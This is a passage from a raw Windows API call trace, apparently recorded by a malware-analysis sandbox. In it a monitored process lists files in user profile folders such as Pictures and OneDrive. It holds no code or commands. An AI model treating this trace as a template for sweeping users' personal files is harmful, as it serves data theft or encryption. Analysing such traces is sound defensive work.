nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.235] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo", lpFilePart=0x0) returned 0x17 [0220.235] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*" (normalized: "c:\\users\\default\\sendto\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.238] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu", lpFilePart=0x0) returned 0x1b [0220.238] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*" (normalized: "c:\\users\\default\\start menu\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.243] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu", lpFilePart=0x0) returned 0x1b [0220.243] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*" (normalized: "c:\\users\\default\\start menu\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.249] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates", lpFilePart=0x0) returned 0x1a [0220.249] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*" (normalized: "c:\\users\\default\\templates\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.391] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates", lpFilePart=0x0) returned 0x1a [0220.391] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*" (normalized: "c:\\users\\default\\templates\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.394] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0220.394] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*" (normalized: "c:\\users\\default\\videos\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5350 [0220.394] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.394] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.395] FindClose (in: hFindFile=0x1d1f5350 | out: hFindFile=0x1d1f5350) returned 1 [0220.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.395] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0220.395] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*" (normalized: "c:\\users\\default\\videos\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f44b0 [0220.395] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.395] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.396] FindClose (in: hFindFile=0x1d1f44b0 | out: hFindFile=0x1d1f44b0) returned 1 [0220.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.396] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\My Documents", lpFilePart=0x0) returned 0x22 [0220.396] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\my documents\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.399] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\My Documents", lpFilePart=0x0) returned 0x22 [0220.399] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\my documents\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.401] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\NetHood", lpFilePart=0x0) returned 0x1d [0220.401] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\nethood\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.404] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\NetHood", lpFilePart=0x0) returned 0x1d [0220.404] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\nethood\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.407] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\OneDrive", lpFilePart=0x0) returned 0x1e [0220.407] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\onedrive\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0220.407] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.408] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x84aeda3c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.408] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.408] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0220.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.408] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\OneDrive", lpFilePart=0x0) returned 0x1e [0220.408] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\onedrive\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4210 [0220.408] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.409] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x84aeda3c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.409] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x84aeda3c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0220.409] FindClose (in: hFindFile=0x1d1f4210 | out: hFindFile=0x1d1f4210) returned 1 [0220.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.409] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures", lpFilePart=0x0) returned 0x1e [0220.409] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf52702d7, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf52702d7, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4930 [0220.410] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf52702d7, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf52702d7, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.410] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20917180, ftCreationTime.dwHighDateTime=0x1d9941f, ftLastAccessTime.dwLowDateTime=0x2285ef10, ftLastAccessTime.dwHighDateTime=0x1d9948e, ftLastWriteTime.dwLowDateTime=0x2285ef10, ftLastWriteTime.dwHighDateTime=0x1d9948e, nFileSizeHigh=0x0, nFileSizeLow=0x7d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2DSCOvYgWNKFR.bmp", cAlternateFileName="2DSCOV~1.BMP")) returned 1 [0220.410] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80985710, ftCreationTime.dwHighDateTime=0x1d98dfd, ftLastAccessTime.dwLowDateTime=0xa6e29f90, ftLastAccessTime.dwHighDateTime=0x1d9913e, ftLastWriteTime.dwLowDateTime=0xa6e29f90, ftLastWriteTime.dwHighDateTime=0x1d9913e, nFileSizeHigh=0x0, nFileSizeLow=0x18169, dwReserved0=0x0, dwReserved1=0x0, cFileName="bgIeYuR04xf.gif", cAlternateFileName="BGIEYU~1.GIF")) returned 1 [0220.410] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0220.410] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.411] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3945690, ftCreationTime.dwHighDateTime=0x1d98d06, ftLastAccessTime.dwLowDateTime=0xef82a5c0, ftLastAccessTime.dwHighDateTime=0x1d98e68, ftLastWriteTime.dwLowDateTime=0xef82a5c0, ftLastWriteTime.dwHighDateTime=0x1d98e68, nFileSizeHigh=0x0, nFileSizeLow=0x102e, dwReserved0=0x0, dwReserved1=0x0, cFileName="egrPpUqv1wBVx.png", cAlternateFileName="EGRPPU~1.PNG")) returned 1 [0220.411] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd94db0, ftCreationTime.dwHighDateTime=0x1d99bf8, ftLastAccessTime.dwLowDateTime=0x854b2df0, ftLastAccessTime.dwHighDateTime=0x1d99ce9, ftLastWriteTime.dwLowDateTime=0x854b2df0, ftLastWriteTime.dwHighDateTime=0x1d99ce9, nFileSizeHigh=0x0, nFileSizeLow=0xc8bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="F-s2NNP8mYxd.png", cAlternateFileName="F-S2NN~1.PNG")) returned 1 [0220.411] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd92de0, ftCreationTime.dwHighDateTime=0x1d994cb, ftLastAccessTime.dwLowDateTime=0x12d19ca0, ftLastAccessTime.dwHighDateTime=0x1d99c3f, ftLastWriteTime.dwLowDateTime=0x12d19ca0, ftLastWriteTime.dwHighDateTime=0x1d99c3f, nFileSizeHigh=0x0, nFileSizeLow=0x139ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="kG-ouG E3mm2.jpg", cAlternateFileName="KG-OUG~1.JPG")) returned 1 [0220.411] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12cfa7e0, ftCreationTime.dwHighDateTime=0x1d9916a, ftLastAccessTime.dwLowDateTime=0xef0992f0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0xef0992f0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="s0_hmVtAbRsuxuXW", cAlternateFileName="S0_HMV~1")) returned 1 [0220.411] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, 